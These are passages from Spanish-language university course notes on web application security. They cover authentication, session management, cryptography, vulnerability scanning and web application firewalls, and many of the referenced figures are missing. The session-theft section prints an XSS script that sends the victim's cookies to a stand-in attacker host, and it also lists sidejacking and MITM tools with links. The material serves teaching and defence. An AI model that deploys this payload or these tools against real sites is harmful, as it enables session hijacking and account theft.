Además hay que pensar en otras protecciones como firewalls que filtran el tráfico de
red para prevenir ataques protegiendo el acceso a determinados puertos y prohibiendo
el acceso a otros además de gestionar el número de conexiones a la aplicación.
Los centros de proceso de datos han de diseñarse normativas como TIA 942, EN-
1047 TIER, ISO 27001 para la instalación eléctrica, seguridad, etc. han de estar
dotados de servicio de alimentación ininterrumpida y unidad de puesta en servicio.
» Objeto.
» Características arquitectónicas.
» Subsistema eléctrico.
» Subsistema de detección y extinción de incendios.
» Subsistema de racks, canalización y cableado estructurado.
» Subsistema de seguridad y control de accesos.
» Subsistema de monitorización y gestión de infraestructura.
» Subsistema de iluminación.
» Subsistema de infraestructura dedicada.
» Formación.
Por otro lado es necesario que todo el personal que está relacionado con los
sistemas tenga la formación en concienciación de seguridad necesaria para
evitar fugas de información que puedan comprometer el sistema.
Hay que tener en cuenta el concepto de «ingeniería social» que es una técnica mediante
la cual alguien bien entrenado puede obtener información ventajosa acerca del sistema
u organización, utilizando métodos tan simples como efectuar llamadas telefónicas a
empleados determinados haciéndose pasar por otra persona.
Para evitar este problema es preciso organizar una formación, supervisión y evaluación
periódica en aspectos de concienciación de la importancia de la seguridad a todos los
niveles para conseguir los objetivos de la organización.
Seguridad en la documentación
Autenticación
Hay que proteger la comunicación con TLS para evitar ataques de repetición y
exposiciones inseguras. Codificar las credenciales en base 64 no es cifrar y son fácilmente
decodificables. Si un servidor web está configurado con autenticación básica responde
con un mensaje http como el de las figuras siguientes.
Igualmente que, con autenticación básica, se debe emplear TLS para proteger la
comunicación. Si un servidor web está configurado con autenticación digest responde
con un mensaje http como el de la figura siguiente.
» NTLM es un protocolo que se basa en los mismos conceptos que Digest, envía dos
respuestas a un desafío de servidor de 8 bytes. Cada respuesta contiene un hash
HMAC-MD5 de 16 bytes del desafío de servidor, un desafío de cliente generado al azar,
completamente aleatorio y un hash HMAC-MD5 de la contraseña del usuario y otra
información de identificación. Las dos respuestas difieren en el formato del desafío
del cliente. La respuesta más corta utiliza un valor aleatorio de 8 bytes para este
desafío. Para verificar la respuesta, el servidor debe recibir como parte de la respuesta
el desafío del cliente. Para esta respuesta más corta, el desafío de cliente de 8 bytes
añadido a la respuesta de 16 bytes hace un paquete de 24 bytes que es coherente con
el formato de respuesta de 24 bytes del protocolo NTLMv1 anterior. En ciertas
documentaciones no oficiales (por ejemplo, DCE/RPC sobre SMB, Leighton) esta
respuesta se denomina LMv2.
La respuesta debe incluir una copia de este desafío del cliente, y por lo tanto es de
longitud variable. En la documentación no oficial, esta respuesta se denomina NTv2.
Autenticación NTLMv2.
Autenticación NTLMv2.
Autenticación single sing on. Permite accesos a múltiples sitios, válidos tanto para
Intranets como para Internet:
La renegociación SSL/TLS iniciada por cliente puede dar lugar a ataques de denegación
de servicio DoS. Las conexiones SSL/TLS con renegociación, requieren de 10-35x más
de rendimiento en el servidor. Solución: Reverse ssl
(http://vincent.bernat.im/en/blog/2011-ssl-dos-mitigation.html#putting-more-work-
on-the-client-side) (https://eprint.iacr.org/2006/212.pdf) (carga en cliente). Otras
técnicas de mitigación pasan por:
Ataques al protocolo TLS del tipo Man In The Middle (MITM) (Generación de
certificados) se pueden llevar a cabo mediante herramientas como sslsnif
(http://www.thoughtcrime.org/software/sslsniff/). Está diseñada para MITM de todas
las conexiones TLS en una LAN y genera dinámicamente certificados para los dominios
a los que se tiene acceso sobre la marcha. Los nuevos certificados se construyen sobre
una cadena de certificados que están firmados por algún certificado que el usuario
proporciona.
Autenticación de múltiples (tres o más) factores. Además Algo que eres: huella
dactilar, retina ojo, cara, etc.
Autenticación desde la aplicación web (ver figuras ). No hace uso de las cabeceras,
está basada en formularios utilizando método POST, donde se introducen el usuario y la
contraseña y a continuación se envían a la aplicación, donde se valida accediendo a la
base de datos de credenciales que puede ser un SGBD, RADIUS, fichero, etc. Si es válida
la comprobación se devuelve al usuario una indicación de éxito junto con un ID de sesión
como puede ser un cookie cuyas características y aspectos de seguridad se pueden
consultar en el apartado siguiente y que se utilizará para todas las subsiguientes
peticiones a la aplicación durante el tiempo permitido o hasta que se ejecute un logoff.
Autenticación desde aplicación web, respuesta después de autenticación válida desde la aplicación
Gestión de sesiones
Generación ID de sesión
Muchos de los problemas de seguridad que tienen las aplicaciones web introducidos en
el apartado 1 son debidos al protocolo HTTP relacionados con el mantenimiento del
estado de la sesión.
» Procedencia de peticiones HTTP. Una aplicación web que usa cookies de sesión
debe tomar precauciones especiales para asegurar que un atacante no pueda engañar
a usuarios enviando falsas peticiones.
Se puede imaginar una aplicación web en sitio.com que permite a los administradores
crear nuevas cuentas enviando este formulario:
Si el atacante no consigue ver la página web que la petición falsa genera, esta técnica es
útil solo para peticiones que cambian el estado de la aplicación. La mayoría de
los navegadores web envían una cabecera HTTP llamada referer con cada petición.
La cabecera referer, como se supone, contiene el URL de la página a que se refiere pero
los atacantes pueden falsificarla y entonces la cabecera referer no es útil para determinar
la procedencia de una petición (forging http request headers). Las aplicaciones que
pasan el identificador de sesión en el URL y no un cookie no tienen este problema porque
no hay ninguna forma de que el atacante tenga acceso al identificador de sesión válido e
incluirlo como la parte de la petición falsa.
Para las aplicaciones que usan cookies de sesión el formulario debe incluir alguna
información para que el formulario de back-end pueda validar la procedencia de la
petición. Un modo de hacerlo es incluyendo un identificador de petición aleatorio en el
formulario, como en el ejemplo:
Donde:
Una cota inferior del número de identificadores de sesión válidos disponibles que pueden
ser adivinados es el número de los usuarios que están activos en un sitio en cualquier
momento dado. Sin embargo, cualquier usuario que abandona sus sesiones sin
terminar una sesión (logout) aumentará este número. (Esto es una de las buenas
razones para tener un tiempo corto de interrupción de sesión inactiva.)
o Limita el período de exposición para los usuarios que fallan en invalidar su sesión
terminando una sesión.
o Reduce el número medio de identificadores de sesiones válidos disponibles para
que un atacante los adivine.
o Hace imposible para un atacante obtener un identificador de sesión válido y luego
mantenerlo vivo indefinidamente.
En un intento genérico de session fixation un atacante crea una nueva sesión en una
aplicación web sin hacer login y registra el identificador de sesión asociado. El
atacante causa que la víctima se autentique contra el servidor usando el identificador
creado resultando en que el atacante gana el acceso a la cuenta de usuario a través de
la sesión activa. Imaginar el siguiente escenario:
Este escenario parece poco probable que se dé pero es más fácil el hecho de forzar un
identificador a un usuario para que pinche un enlace de una página web o a través de un
correo electrónico. Por ejemplo Apache tomcat permite especificar un identificador
de sesión como parámetro de una URL, si este valor existe para una sesión activa, Tomcat
comenzará usando la sesión con ese identificador de sesión.
Para limitar session fixation, una aplicación web debe crear un nuevo identificador de
sesión al mismo tiempo que un usuario se autentica.
Ejemplo de cookie protegida con los parámetros secure (solo https) y httponly para
prohibir su uso desde scripts:
o Enlaces web, logs, navegador web, referer, buscadores (url: jsesssionid, url:
phpsessid).
o Ingeniería social.
o Captura (activo).
o Intercepción del tráfico de red (SSL/TLS) – MitM.
o Vulnerabilidades del navegador web.
o Robo del ID de sesión: XSS.
o Cross-Site Scripting (XSS): puede ser reflejado (no persistente) y almacenado
(persistente):
El atacante inyecta código HTML: sripts.
El script envía las cookies de la página actual al servidor del atacante:
<script>document.write=('<img
src="http://atacante.com/cookies.php?cookie= '+document.cookie+'" width="0"
height="0">')</script>
o Suplantación de usuarios.
o Solo hace falta un ID de sesión válido.
o Recordar: ID de sesión=credenciales.
o Parámetros GET: ataques de replay triviales.
o Cookie: fijar las cookie en la memoria del navegador web (sesión) o fichero
(persistente).
o Herramienta de sidejacking:
Cookiemonster: http://fscked.org/projects/
Cookiemonster: https://code.google.com/archive/p/cookiemonster/
Hamster (y Ferret): http://hamster.erratasec.com/
The middle: http://inguardians.com/tools/middler-1.0.tgz
Surfjack: https://code.google.com/archive/p/surfjack/
Firesheep (Firefox add-on): http://codebutler.com/firesheep/
» Manipulación de ID de sesión:
Session Fixation
Autorización
o Asegurarse que los usuarios solo pueden realizar acciones dentro de su nivel de
privilegios.
o Controlar el acceso a los recursos protegidos usando un criterio basado en los roles
y privilegios asociados a los usuarios.
o Mitigar los ataques de escalada de privilegios que posibiliten acceder a usuarios a
tareas de administración o recursos no permitidos.
» Tipos de recursos:
o Funcionalidad de la aplicación.
o Objetos en SGBD.
o Ficheros.
o Subredes.
Esquema de acceso a una parte de la aplicación por parte de un usuario (figura siguiente):
Ejemplo de autorización
o Usuario.
o Aplicación.
o Middleware (Java RMI, corba, RPC…).
o Sistema operativo (sistema de ficheros, memoria).
o Hardware.
o Navegador web.
o Servidor web y/o servidor de aplicaciones.
o Sistema gestor de bases de datos.
o IP white-black/listing.
o Autorización URL.
o Autenticación.
o Gestión de sesiones.
o Autorización.
o Facilidades framework.
OAuth: Google.
(https://developers.google.com/accounts/docs/OAuth2?hl=es)
BBAuth Yahoo.
o Desarrollo propio.
» Ataques a la autorización:
o TOCTOU time to check - time to use. Para combatir este tipo de ataque hay que
minimizar tiempo de ejecución de las transacciones, sobre todo cuando se están
cambiando permisos. (http://cwe.mitre.org/data/definitions/367.html)
» Prácticas de seguridad:
Confidencialidad e integridad
Cifrado en Cifrado en
flujo bloque
LFSR
NLFSR IDEA
FILTRADO NO DES
LINEAL TDES
COMBINACIÓN AES
NO LINEAL
Un criptosistema simétrico (de clave secreta) es aquel donde tanto emisor como
receptor comparten la misma clave. El intercambio de claves es una cuestión que se deja
al margen de estudio, pues no es un problema teórico. En los criptosistemas simétricos
para que el emisor y receptor compartan la misma clave esta debe ser «intercambiada»
de alguna forma segura: surge por tanto un dilema: cómo intercambiar estas claves de
forma segura.
Se dice que un sistema de cifrado de clave secreta es seguro si ningún ataque conocido
de menor complejidad que la búsqueda exhaustiva sobre el espacio de claves ofrece
mejores resultados que esta. La seguridad depende del emisor y el receptor. Existen dos
operaciones para cifrar transposición y sustitución distinguiendo dos tipos de cifrado de
clave secreta o simétrica:
» Cifrados en flujo. Los sistemas del cifrado en flujo dividen el sistema a cifrar en
caracteres (cuya longitud es mejor que los bloques) para posteriormente cifrar cada
carácter aplicando una función que varía con el tiempo cuya dependencia temporal
está regida por las variables que definen el estado del sistema. Así pues, después del
cifrado de cada carácter, el sistema evoluciona a un nuevo estado de acuerdo con una
determinada regla. Como consecuencia de ello sucede que caracteres idénticos poseen
por lo general cifrados diferentes, lo que contribuye a aumentar la seguridad del
sistema.
Entre los algoritmos de cifrado en bloque más usados para el proceso de encriptación se
encuentran:
» IDEA (international data encryption algorithm): fue creado por Xuejia Lai y James
Massey en 1990. Es un cifrado de bloque que opera sobre mensajes de 64 bits con una
clave de 128 bits. Consiste en ocho transformaciones idénticas (cada una llamada una
ronda) y una transformación de salida (llamada media ronda). Gran parte de la
seguridad de IDEA deriva del intercalado de tres operaciones: Operación O-exclusiva
(XOR) bit a bit, suma módulo 216 y multiplicación módulo 216+1.
Una forma típica de uso de estos métodos para una red de usuarios es la siguiente:
Entre los puntos fuertes de los sistemas criptográficos de clave pública se pueden citar:
» Son algoritmos más lentos que los de clave secreta con lo que no suelen utilizarse
para cifrar gran cantidad de datos.
» Sus implementaciones son comúnmente hechas en sistemas software.
» Para una gran red de usuarios y 10 máquinas requieren un sistema de certificación de
la autenticidad de las claves públicas.
Entre los problemas prácticos de los sistemas que usan criptografía asimétrica se pueden
añadir otros como el hecho de que cada participante (usuario o máquina o proceso) debe
mantener secreta su clave privada que suele ser algo así como 1.000 dígitos al azar o el
complicadísimo problema, ya citado, de cómo está seguro un participante A de que la
clave pública de B es realmente la clave pública de B y no, por ejemplo, la clave pública
de un atacante del sistema.
En los últimos 25 años han aparecido muchos algoritmos asimétricos pero la mayoría
han resultado inseguros. Otros no son prácticos, ya sea porque el resultado cifrado es
bastante mayor que el texto original o porque la longitud de la clave es enorme.
Los algoritmos asimétricos usan longitudes de claves mayores que los simétricos.
Mientras que en estos últimos se considera bastante segura una clave de 128 bits, en los
asimétricos excepto en los basados en curvas elípticas se recomiendan claves de, al
menos, 2048 bits hoy en día.
» RSA (Rivest, 1978): debe su nombre a sus tres inventores: Ronald Rivest, Adi Shamir
y Leonard Adleman. Estuvo bajo patente de los Laboratorios RSA hasta el 20 de
septiembre de 2000, por lo que su uso comercial estuvo restringido hasta esa fecha.
Firma digital. Una de las operaciones base a la hora de realizar una firma digital de
un documento es la realización de una función resumen de unos cientos de bits
del mismo, cifrado con la clave privada del emisor, pues los sistemas de clave pública son
bastante costosos de realizar a nivel computacional.
= ℎ( )
Las funciones hash para que sean aplicables a la firma digital u otro tipo de aplicaciones
como podría ser la identificación de binarios deben cumplir una serie de propiedades
(Menezes, 1996):
Cada bloque xi obtenido sirve como entrada a una función de compresión h iterativa
que internamente implementa una función f no lineal interna que calcula un nuevo
resultado parcial intermedio de longitud n fija hi correspondiente a la etapa i, el modelo
de forma general es:
= ( , ), 1 ≤ ≤ , ℎ( ) = ( )
o Establecimiento de claves.
o Autenticación de entidades.
o Cifrado simétrico y autenticación de mensajes.
o Transporte de datos en forma segura a nivel de aplicación.
o Métodos de no repudio.
Los protocolos criptográficos más utilizados en Internet que utilizan los diferentes
tipos de algoritmos ya descritos en unidades anteriores para asegurar cinco de sus
grupos de servicios más importantes que proporciona Internet son:
3.4. Referencias
Rivest, R., Shamir, A. y Adleman, L. (1978). A method for obtaining digital signatures
and public-key cryptosystems. Recuperado en,
https://people.csail.mit.edu/rivest/Rsapaper.pdf
Silic, M., Krolo, J. y Delac, G. (2010). Security vulnerabilities in modern web browser
architecture. Croacia: Universidad de Zagreb.
Lo + recomendado
Lecciones magistrales
Diseño seguro del sistema de control de acceso de una aplicación. Autenticación, gestión
de sesiones y autorización a los recursos de la aplicación.
No dejes de leer…
Scambray, J., Liu, V. y Sima, C. (2011). Hacking exposed web applications. Estados
Unidos: Mc Graw Hill.
Accede a los documentos desde el aula virtual o a través de la siguiente dirección web:
https://www.veracode.com/blog/2013/03/browser-security-settings-for-chrome-
firefox-and-internet-explorer
https://www.stigviewer.com/stig/microsoft_internet_explorer_11
No dejes de ver…
OWASP ESAPI
Tutorial del proyecto abierto OWASP sobre el API de programación segura de OWASP.
+ Información
A fondo
Enlaces relacionados
OWASP
Página del proyecto abierto para seguridad de las aplicaciones web. En su página se
menciona su propósito.
WASC
Página de la WASC, una organización sin ánimo de lucro formada por un grupo
internacional de expertos, profesionales de la industria y representantes de
organizaciones que producen software libre y ampliamente acordados estándares de
seguridad de mejores prácticas para la world wide web.
NIST
Bibliografía
Cannings, R., Dwivedi, H. y Lackey, Z. (2008). Hacking exposed web applications. Web
2.0.Nueva York: Mcgraw Hill.
OWASP. (2005). Guía para construir aplicaciones y servicios web seguros (pp. 146 a
154 y 171 a 154). Recuperado (25 de abril de 2013) en,
https://www.owasp.org/images/b/b2/OWASP_Development_Guide_2.0.1_Spanish.p
df
Scambray, J., Liu, V. y Sima, C. (2010). Hacking Exposed Web Applications 3. Madrid:
McGraw-Hill/Osborne.
Swanson, M., Bowen, P., Wohl Phillips, A., Gallup, D. y Lynes, D. Contingency Planning
Guide for Federal Information Systems (pp. 5 a 10). NIST. Recuperado de:
http://csrc.nist.gov/publications/nistpubs/800-34-rev1/sp800-34-rev1_errata-Nov11-
2010.pdf
Tracy, M., Jansen, W., Scarfone, K. y Winograd, T. (2007). Guidelines on Securing Public
Web Servers. (pp. 5-1 a 5-9, 7-1 a 7-2, 9-1 a 9-5, . 9-5 a 9-9 y 9-14). NIST. Recuperado
de: http://csrc.nist.gov/publications/nistpubs/800-44-ver2/SP800-44v2.pdf
Actividades
» Crea una red virtualbox HOST ONLY, virtualbox archivo, preferencias, red, redes
solo anfitrión, añadir una red, habilitar DCHP y configurar de la siguiente forma:
Test
8. El problema de que una aplicación web que usa cookies de sesión debe tomar
precauciones especiales para asegurar que un atacante no pueda engañar a usuarios
enviando falsas peticiones tienen que ver con:
A. La procedencia de las peticiones.
B. Mantenimiento del estado de sesión.
C. Ordenamiento de peticiones.
D. Ninguna de las anteriores.
[4.4] Referencias
TEMA
Test de la seguridad y protección online de las aplicaciones web
Esquema
TEMA 4 – Esquema
aplicaciones web
Herramientas de análisis de la
seguridad de las aplicaciones web Monitorización continua
Ideas clave
Para estudiar este tema lee las Ideas clave que encontrarás a continuación.
Los ataques a dispositivos móviles están creciendo en la medida que aumenta el uso de
las aplicaciones móviles (m-commerce) para banking, compras, etc. que se pueden
utilizar desde ellos. La arquitectura de estas aplicaciones móviles es similar a la de las
aplicaciones web. La mayor diferencia está en el canal de comunicación y la forma de
proveer comunicación segura.
El caso más deseable para atajar las vulnerabilidades del código de una aplicación web
es la prevención, que los desarrolladores posean la formación suficiente en seguridad
para evitar cometer «errores» de programación que suponen vulnerabilidades.
Después de las tareas de detección mediante uno u otro método, las vulnerabilidades han
de parchearse, lo que también supone un costo económico y de tiempo. Sin embargo,
siempre será más barato hacerlo en tiempo de desarrollo de la aplicación que una vez
desplegada en producción pasado un tiempo. En la figura siguiente se muestra el
incremento de costo de arreglo de vulnerabilidades en distintas fases de la vida del
software. Se aprecia que se multiplica por sesenta el costo en el período de la aplicación
ya en servicio en relación al tiempo de diseño de la misma.
Cost
Time
Para llevar a cabo un análisis de seguridad de una aplicación web, realizado con cualquier
método, se tiene que cubrir toda la superficie de ataque de la misma cubriendo todas las
partes y capas de la aplicación. Un esquema que resume cómo tiene que ser un
análisis se muestra en la siguiente figura:
Para realizar una revisión del informe de las herramientas es necesario poseer una
formación adecuada en los defectos de seguridad que se pueden producir en el código de
un lenguaje determinado o tecnología (java, HTML, javascript, C#...).
Todas ellas según sus características han de utilizarse en alguna de las fases de un
modelo seguro de ciclo de vida de desarrollo de software como el propuesto en
building security in (McGraw, 2006). También se pueden emplear al final o después de
haber pasado a producción porque por el motivo que sea antes no se pudo realizar. Cabe
destacar que alguno de los tipos propuestos se emplea precisamente para proteger la
aplicación web, ya en producción, como es el caso de los firewalls de aplicaciones
web.
» Análisis estático de código fuente / ejecutable. SAST (static analysis security tools).
» Análisis dinámico BlackBox, DAST (dynamic analysis security tools).
» Análisis dinámico WhiteBox. RAST (real analysis security tools) o también
denominadas IAST (Interactive analysis security tools).
» Híbridas de las anteriores.
» Implementación:
o SAST.
» Pruebas:
o SAST.
o DAST.
o RAST(IAST).
» Despliegue:
o SAST.
o DAST.
o RAST(IAST).
o HÍBRIDAS SAST – DAST / SAST – RAST / SAST – DAST – RAST(IAST).
En este modelo de SSDLC con las fases tradicionales de otros modelos seguros de ciclo
de vida de desarrollo de software como el de Mcgraw (2006), la diferencia está en el tipo
de herramientas que se proponen en cada fase, adaptadas a las características de las
aplicaciones web.
Las herramientas comerciales suelen tener un alto coste y disponer de todos los tipos de
herramientas puede resultar caro. Lo ideal sería disponer de una herramienta de
tipo híbrida SAST-DAST-RAST ya que permiten utilizar cada uno de los tipos por
separado o de forma conjunta correlando resultados, lo que ayuda a descartar falsos
positivos. Si además se puede complementar con la instalación de firewalls de
aplicaciones web para protección de ataques online se optimizaría el estado de la
seguridad de la aplicación.
Las herramientas de análisis de riesgos a utilizar en las fases de análisis y diseño son
necesarias para el diseño de la arquitectura de la seguridad.
Existen herramientas de tipo de caja blanca de análisis estático que analizan el código
tanto fuente como ejecutable, según el caso. La diferencia entre ellas básicamente está
en que las de código ejecutable tienen primero que hacer un desensamblado del
código ejecutable para extraer el código fuente y posteriormente actúan como el otro
tipo de herramientas estáticas de código fuente, es decir, tienen una etapa previa de
conversión de código ejecutable en el fuente correspondiente.
Por tanto, las consideraciones y el análisis de las de código fuente servirán también para
las de código ejecutable y solo se comentarán para estas, en su apartado correspondiente,
las particularidades y problemas que tiene la etapa previa de «desensamblado» para
obtener el código fuente a partir del código ejecutable.
Este conjunto de reglas se puede aumentar en muchos casos por parte del usuario que
puede definir las suyas propias para adaptarlas a las particularidades de la
aplicación que se está analizando. Un ejemplo de lenguaje especificación de reglas es
PQL (program query language) para la definición de defectos de seguridad para
lenguaje java (Livshits, 2006).
Los falsos positivos son seguramente indeseables pero desde una perspectiva de
seguridad, los falsos negativos (defecto no descubierto) son mucho
peores. Con un falso negativo, un problema existe en el programa pero la
herramienta no lo detecta. La penitencia por un falso positivo es la cantidad de
tiempo gastada repasando el resultado. La penitencia por un falso negativo es
mucho mayor. No solo se paga el precio asociado por tener una vulnerabilidad
en el código, se vive con un sentido falso de seguridad que se deriva del hecho de
que la herramienta hizo parecer que todo era correcto.
Múltiples técnicas y procesos pueden ser aplicados para asegurarse que los
defectos más importantes se descubren. Por esta razón las herramientas de calidad
de código por lo general intentan producir un número bajo de positivos falsos y
están más dispuestas a aceptar negativos falsos. La seguridad es una historia
diferente. La penitencia por defectos de seguridad pasados por alto es elevada,
aquí entonces las herramientas de seguridad por lo general producen más falsos
positivos para reducir al mínimo falsos negativos.
Esquema SAST
Fuente: Bermejo, 2013
» Herramientas de análisis estático de código ejecutable: una gran ventaja que presenta
este tipo de herramientas es que por su naturaleza pueden analizar aplicaciones de
terceras partes de las que no se dispone el código fuente. Otro aspecto a tener en
cuenta es que al no disponer del código fuente no se pueden auditar los informes de
vulnerabilidades de seguridad de las herramientas, con lo cual estas deberían tener
un bajo ratio de falsos positivos que puede implicar también en un mayor ratio de
falsos negativos que es un problema mayor en el conjunto del análisis de la aplicación
como ya se mencionó en apartados anteriores.
Relativo al lenguaje java se puede consultar una técnica de análisis de bytecodes de java
en «analysis of Java bytecode sequences» (O´Donoghue, 2002).
Las herramientas de análisis dinámico de caja negra DAST analizan una aplicación
ejecutando la herramienta contra la aplicación en ejecución efectuando un test de
penetración e intentando cubrir toda la superficie de ataque (todas las entradas posibles
a la aplicación) para descubrir las vulnerabilidades que puedan existir. Como ejemplo de
este tipo de herramientas para aplicaciones web se encuentran Webinspect, Paros o
Cenciz. Este tipo de herramientas dentro del mundo de las aplicaciones web se
denominan scanners automáticos de vulnerabilidades de aplicaciones web.
» XSS.
» SQLI.
» Path transversal.
» Command injection.
» Defectos de configuración.
» Problemas relacionados con Javascript.
» File inclusion.
» XPATH injection.
» HTTP response spliting.
Hay que tener presente el último punto relativo a los falsos positivos que estas
herramientas pueden tener y que son necesarios de comprobar, al igual que ocurría con
el análisis estático de código fuente.
Como se verá más adelante una buena táctica puede ser correlar los resultados de análisis
estáticos y los de los scanners automáticos de aplicaciones web para ayudar en el
descarte de falsos positivos. Otra aproximación es aprovechar los resultados del
análisis estático para generar casos de test para el scanneo automático que permita
comprobar la veracidad de la existencia de la vulnerabilidad reportada por el análisis
estático.
Asimismo se puede consultar una amplia relación de las herramientas disponibles. Una
comparativa de tres herramientas de este tipo, de entre las muchas comerciales y de
open source:
» APPSCAN standard.
» Webinspect
» Acunetix + Acusensor.
Hay 5 aplicaciones donde no hay un claro ganador. Comentar que Websensor añade a
Acunetix capacidad de análisis en tiempo real que cae dentro de la categoría comentada
a continuación en el siguiente apartado.
SAST vs DAST
Esta métrica también es importante porque da una idea clara de cuáles de ellas son
más urgentes parchear por su alto grado de criticidad, sobre todo teniendo en cuenta
el tiempo disponible para ello. Los grados de criticidad de la estadística son: urgente,
critical, high, médium, low.
XSS (cross site scripting cwe 80) es una vulnerabilidad que consiste en salidas de la
aplicación web conteniendo datos no validados ni codificados, lo cual puede ser
comprobado por el análisis estático y sin embargo más difícil para DAST que tendría que
generar cada estado de la aplicación en razonable período de tiempo. CRLF (http
response splitting) ocurre en lugares de la aplicación donde DAST no tiene visibilidad y
por tanto no encuentra ninguna.
El análisis dinámico DAST, incluso el manual, pasan por alto partes de la aplicación
alcanzables solo bajo ciertas circunstancias.
Este tipo de herramientas una vez detectada la vulnerabilidad hay herramientas que
pueden tomar una de las tres acciones siguientes:
» Bloquear el intento de ataque, como hace RTA de Fortify. RTA es la versión anterior
de Securityscope de FORTIFY, por lo que presentan muchas similitudes en cuanto a
arquitectura. Difieren en el concepto de lo que se hace cuando se detecta una
vulnerabilidad: bloqueo o informar. Este tipo de herramientas que efectúan bloqueos
de ataques en tiempo real se denominan real analysis self protection (RASP).
En la tesis de Livshits (2006) se comenta que la ventaja que tiene el análisis en tiempo
real es que puede detectar todos los ataques de categoría en particular porque siguen la
pista de cómo fluyen los datos a través de la aplicación.
No tienen falsos positivos debido a que tiene una perfecta información histórica de
cada tipo de datos. Además se puede recuperar de un ataque a una vulnerabilidad antes
de que pueda ser explotada saneando una entrada de datos de la aplicación en el
momento que sea necesario.
Si por el contrario hay una cláusula executes se ejecutará el código contenido en dicha
cláusula para generar un reporte de la vulnerabilidad detectada. De forma resumida,
encontrar consultas PQL contenidas en la aplicación implica 3 pasos:
Añadir código para monitorizar eventos supone una sobrecarga de ejecución total de la
aplicación. Una forma propuesta para reducirlo es utilizar el resultado del análisis
estático para reducir el código de monitorización eliminando sentencias que no pueden
referirse a objetos implicados en cualquier match de una query. La reducción del
código de monitorización mediante esta técnica puede llegar ser del 97 % en el caso
de la aplicación roller utilizada como benchmark. En otra aplicación como webgoat se
reduce la sobrecarga a la mitad con la versión optimizada. En la figura siguiente se
muestra una comparativa de sobrecarga en 5 aplicaciones analizadas en la tesis de
Livshits (2006) en sus dos versiones optimizadas mediante el análisis estático de código
fuente vs. las no optimizadas.
Otras aproximaciones existen de este tipo que proponen un algoritmo para generación
de pruebas automatizadas de entrada que utiliza datos y valores de tiempo de
ejecución para analizar el código de forma dinámica, los modelos semánticos de las
operaciones de cadena y se ocupa de operaciones cuyo argumento y valores de retorno
no pueden compartir un tipo común (Wassermann, 2008).
Llegados a este punto, en los últimos años se está avanzando en el idea de combinar
algunas de las soluciones anteriores SAST, DAST y RAST para conseguir mediante
distintas estrategias optimizar los resultados en cuanto a disminuir falsos positivos y
negativos. Ya se ha adelantado alguna aproximación de este tipo en apartados anteriores.
El grado de sinergia que puede existir entre estos tipos de herramientas puede
aprovechar que las propiedades del código inferidas por el análisis estático SAST pueden
ser comprobadas por un análisis en tiempo real RAST para asegurar la ausencia de
vulnerabilidades una vez corregido el código.
Las dos estrategias son buenas, se pueden complementar en diferentes fases del ciclo
de vida, una en la fase de despliegue pre-producción y la otra ya con la aplicación en
producción para una protección, ya verdaderamente en tiempo real supliendo el
cometido que puede hacer un firewall de aplicaciones web que se basa en analizar
patrones en el tráfico de la red para proteger una aplicación con sus ventajas e
inconvenientes que se analizan en un apartado posterior.
Hay que tener en cuenta que el análisis dinámico RAST es preciso porque no necesita
hacer abstracciones y puede ser tan rápido como la propia ejecución del programa,
excepción hecha de las comprobaciones adicionales que tiene que realizar. Según se
demuestra en la tesis de Livshits (2006) se pueden optimizar en gran medida mediante
el background de SAST para proteger una aplicación web en tiempo real desplegada en
producción.
APPSCAN de IBM ofrece herramientas de tipo SAST – DAST – RAST aunque no realiza
correlación automática de los resultados entre ellas:
» Seguridad: el servidor proxy es una capa adicional de defensa y por lo tanto protege
a los servidores web.
» Cifrado/aceleración SSL: cuando se crea un sitio web seguro habitualmente el
cifrado SSL no lo hace el mismo servidor web sino que es realizado en un equipo ajeno
equipado incluso con hardware de aceleración SSL/TLS.
» Distribución de carga: el proxy puede distribuir la carga entre varios servidores
web. En ese caso puede ser necesario reescribir la URL de cada página web
(traducción de la URL externa a la URL interna correspondiente, según en qué
servidor se encuentre la información solicitada).
» Caché de contenido estático: un proxy inverso puede descargar de trabajo a los
servidores web almacenando contenido estático como imágenes u otro contenido
gráfico. También puede almacenar contenido generado dinámicamente pero que
pueda ser en alguna medida reutilizable.
Para garantizar la seguridad de una aplicación web, el mecanismo más eficaz es mediante
la prevención estableciendo prácticas de programación segura para evitar
vulnerabilidades en el código de la aplicación validando los campos de entrada y de salida
de la aplicación.
No obstante, es difícil afirmar que esta tarea pueda alcanzar un nivel de perfección del
100 % y no queden vulnerabilidades en el código. Para tener un nivel más de defensa de
acuerdo con los principios de seguridad de profundidad y diversidad en la defensa se
puede complementar la defensa de la aplicación de varias formas además de las defensas
perimetrales a nivel de red y de las plataformas y sus sistemas operativos de cuyo estudio
se ocupan otras asignaturas:
Los firewalls de aplicaciones web que se interponen entre el cliente web y el servidor
web analizando los mensajes de la capa de aplicación para detectar violaciones en la
programación de la política de seguridad restringiendo el acceso a ciertos puertos o
servicios según lo configure el administrador.
Los firewalls de aplicaciones web permiten conexiones SSL para lo cual ha de instalarse
en ellos una copia de la clave privada del servidor de aplicaciones que permita descifrar
los datos a analizar. Posteriormente se pueden enviar los datos al servidor cifrados o en
texto claro.
» WebDefend – Breach.
» ModSecurity - Open Source.
» SecureSphere – Imperva.
» Application Security Manager - F5.
» Citrix Application Firewall – Citrix.
» Web Application Controller – Barracuda.
» Proxy inverso: suele ser el modo más habitual de conexión. El dispositivo examina
todo el tráfico de red bloqueándolo si detecta algún ataque o reenviando la petición al
servidor. Si detecta un ataque lo registra. Se configura publicando la dirección de la
interfaz externa del cortafuegos para redirigir el tráfico al servidor de aplicaciones.
Para tener redundancia se pueden poner 2 dispositivos.
» Modo pasivo: se instala de forma que recibe un duplicado del tráfico vía network
tap, de forma que pueda ser analizado y detectar ataques pero sin posibilidad de
bloquear.
A modo de resumen sobre los requisitos que debe cumplir un dispositivo de este tipo
(WASC):
» Hay que analizar el mercado y ver qué dispositivos se adaptan mejor a los requisitos
de seguridad y disponibilidad de la instalación.
» Se debería instalar en modo de alta disponibilidad ante fallos mediante 2 dispositivos.
» Se debe hacer un estudio del impacto en el rendimiento.
» Se deben probar las configuraciones de filtrado de forma que no impacten en la
funcionalidad de las aplicaciones siendo a la vez eficaz en cuanto a la detección de
patrones de ataque. Son deseables siempre filtrados de lista blanca (whitelist)
permitiendo sólo tráfico conocido como aceptable aunque implica un mayor estudio
de la aplicación complicaciones en cuanto a mantenimiento si la aplicación sufre
muchos cambios.
» Hay que estudiar la forma y el nivel de detalle de registro de detecciones y bloqueos
de forma que estén conformes con los requisitos de formato exigidos.
» Hay que gestionar y administrar los dispositivos con protocolos de conexión seguros.
4.4. Referencias
Balzarotti, D., Cova, M., Felmetsger, V., Jovanovic, V., Kirda, E., Kruegel, C. y Vigna, G.
